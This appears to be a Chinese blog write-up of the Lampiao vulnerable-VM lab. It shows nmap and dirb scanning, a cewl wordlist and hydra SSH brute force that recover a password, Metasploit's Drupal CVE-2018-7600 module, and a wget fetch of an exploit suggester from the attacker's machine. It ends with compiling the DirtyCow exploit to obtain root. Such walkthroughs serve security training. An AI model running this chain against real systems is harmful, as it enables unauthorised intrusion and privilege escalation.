靶场复现系列【Lampiao】

kang 发布于 2024-11-20 1123 次阅读


Nmap扫描

发现目标ip192.168.11.140,对目标ip进行端口扫描,查看开放的服务

知识点(ssh协议)

通俗来说就是远程连接服务器的一种协议。

访问80端口

访问1898端口

信息搜集

在1898端口发现的网站,存在登入框,我们想经过信息搜集获取账号和密码

点击read more发现URL存在敏感点http://192.168.11.140:1898/?q=node/1

猜测可能存在其他页面,将1改为2

发现audio.m4a;qrc.png

音频播放搜集的信息:tiago

二维码扫描获取信息:Try harder muahuahua

继续尝试

这段音频没有什么可以利用的信息

发现4以后就没有信息了

爆破枚举(getshell方式一)

爆目录

爆破枚举网站下的目录dirb http://192.168.11.140:1898

其他的就不列出来了,能访问的信息可以都访问一下(我没有访问)

爆密码

cewl:通过爬行网站获取关键信息创建一个密码字典

cewl http://192.168.11.140:1898/?q=node/1 -w kang.txt

hydra爆破

hydra -l tiago -P kang.txt 192.168.11.140 ssh

重要信息(目标网站服务器的账号密码)

用户: tiago

密码: Virgulino

登入后查看相关信息,发现是低权限用户,需要提权

查看Linux版本信息

从之前的目录爆破中找到的robots.txt中发现CHANGELOG.txt

重要信息(框架信息)

Drupal 7.54, 2017-02-01

Drupal是一个开源的内容管理框架(CMF),由Drupal社区开发和维护。它基于PHP编程语言,并融合了内容管理系统(CMS)和PHP开发框架(Framework)的功能,是一个功能强大且灵活的系统,用于构建各种类型的网站和应用程序。

知识点(CHANGELOG.txt)

CHANGELOG.txt 或更常见的 CHANGELOG.md(使用 Markdown 格式)文件是一个记录项目发布历史、新版本中的变化、新特性、修复的问题、已知问题(有时也包括)以及任何重大更改的文档。这个文件对于项目的维护者、贡献者以及最终用户来说都是非常重要的,因为它提供了关于项目如何随时间演变的清晰视图。

主要内容

  • 版本更新:列出每个新版本的发布日期和版本号。
  • 新特性和改进:说明新版本中引入的新功能或对现有功能的改进。
  • 修复:列出在新版本中修复的问题或错误。
  • 变更:任何可能破坏向后兼容性的重大更改或弃用功能。
  • 已知问题(可选):列出当前版本中存在的已知问题,这有助于用户了解可能遇到的问题并期望将来的修复。

重要性

  • 透明度:对于项目的用户和贡献者来说,了解项目的最新动态和未来的发展方向是非常重要的。
  • 兼容性:了解重大更改或弃用功能可以帮助开发者和用户平滑地迁移到新版本。
  • 维护性:在文档化更改时,维护者可以更容易地跟踪和管理项目的发展。

格式

虽然 CHANGELOG.txtCHANGELOG.md 文件的格式没有严格的标准,但有几个广泛使用的约定,如 Keep a Changelog。这个倡议提供了一套简单的指南,鼓励使用以下结构:

## [Unreleased]  
  
### Added  
- New feature 1  
- New feature 2  
  
### Changed  
- Changed something  
  
### Deprecated  
- Deprecation 1  
- Deprecation 2  
  
### Removed  
- Removed something  
  
### Fixed  
- Fixed bug 1  
- Fixed bug 2  
  
### Security  
- Security fix 1  
  
## [1.2.0] - 2023-01-01  
  
### Added  
- ...  
  
### Changed  
- ...  
  
### Deprecated  
- ...  
  
### Removed  
- ...  
  
### Fixed  
- ...  
  
### Security  
- ...

使用这种结构可以帮助保持 CHANGELOG 文件的清晰和一致性。

MSF登入服务器(getshell方式二)

前面的方法是最原始的爆破密码,如果爆破不出密码的时候,我们采用漏洞登入。

先前收集的信息里有网站使用的框架版本,我们MSF启动。

搜索相关可用漏洞

谷歌搜索,发现存在Drupal 7 (CVE-2018-7600 / SA-CORE-2018-002)漏洞,影响的版本范围是

DRUPAL 7 <= 7.57,而我们的版本是7.54,说明可以利用漏洞。

search drupal

找到2018,use 1 进入攻击模块,show options查看需要填写的内容

填完后,执行exploit命令开始攻击

出现meterpreter > 后运行shell命令获取shell,此时没有回显,需要弹shell

python -c 'import pty; pty.spawn("/bin/bash")'

同理就获取了一个低权限用户,并且不需要密码就能登入

Xray(getshell方式三)

ps:目前还没有弄清楚,有会的人可以申请修改,补充完整

提权

谷歌搜索 linux suggest exploit (https://github.com/The-Z-Labs/linux-exploit-suggester)这里我给了个链接,其中linux-exploit-suggester.sh是一个检查该linux系统版本下的可利用漏洞的shell脚本。

查看当前目录位置,切换到tmp(临时文件夹)下克隆项目到本地,切换到linux-exploit-suggester目录下。

因为linux-exploit-suggester.sh文件名太长了,所以我们将它重命名为les.sh

然后就开始检测可利用漏洞

检测漏洞

上传文件

开启http代理服务(注意,此时的根目录为/tmp/linux-exploit-suggester)

在已经登入的服务器上切换进入tmp目录wget http://192.168.11.138:8081/les.sh

知识点(执行shell脚本)

方式 1:使用相对路径或绝对路径

  • 如果你在脚本所在目录,可以使用相对路径:
./yourscript.sh
  • 如果脚本在其他目录,可以使用绝对路径或相对路径:
/path/to/yourscript.sh
  • 或者:
~/scripts/yourscript.sh

方式 2:使用bashsh命令

  • 你也可以使用bashsh命令来执行脚本,而不需要更改可执行权限:
bash yourscript.sh
  • 或者:
sh yourscript.sh

运行结果

现在就是要搜寻可利用的漏洞

拿这个例子来说明一下

以下对Exposure进行说明,看不懂的自行翻译

For each exploit, exposure is calculated. Following 'Exposure' states are possible:

  • Highly probable assessed kernel is most probably affected and there's a very good chance that PoC exploit will work out of the box without any major modifications.
  • Probable it's possible that exploit will work but most likely customization of PoC exploit will be needed to suit your target.
  • Less probable additional manual analysis is needed to verify if kernel is affected.
  • Unprobable highly unlikely that kernel is affected (exploit is not displayed in the tool's output)

我们的一些系统的版本需要严格符合Tags的版本范围,否则不可利用,下方例子中ubuntu的版本在16.04~17.04,而我们的版本在14.04,不符合,所以这个漏洞不可利用。如果可以利用的话,就继续看Download URL 这是下载exp的链接,然后就可以利用该漏洞进行渗透了。

利用漏洞

我在这里拿dirtycow2来做演示

查看是否存在相关的exp

去官网上查看exp如何使用

1, 40839

2,40847

发现只要编译然后执行就行了,由于kali自带40839和40847,所以我们随便选一个exp,再这里我选择40847。

将exp cp到Desktop上

先切换到Desktop目录下,如何再开启http服务。

按照exp的文档说明,直接执行g++ -Wall -pedantic -O2 -std=c++11 -pthread -o kang 40847.cpp -lutil命令

-Wall 一般使用该选项,允许发出GCC能够提供的所有有用的警告
-pedantic 允许发出ANSI/ISO C标准所列出的所有警告
-O2编译器的优化选项的4个级别,-O0表示没有优化,-O1为缺省值,-O3优化级别最高
-std=c++11就是用按C++2011标准来编译的
-pthread 在Linux中要用到多线程时,需要链接pthread库
-o kang gcc生成的目标文件,名字为kang

Root password is: dirtyCowFun

获得root用户密码!

登入root账号

查看信息,获取flag

一个热爱技术,二次元和小猫的紫老头
最后更新于 2024-11-20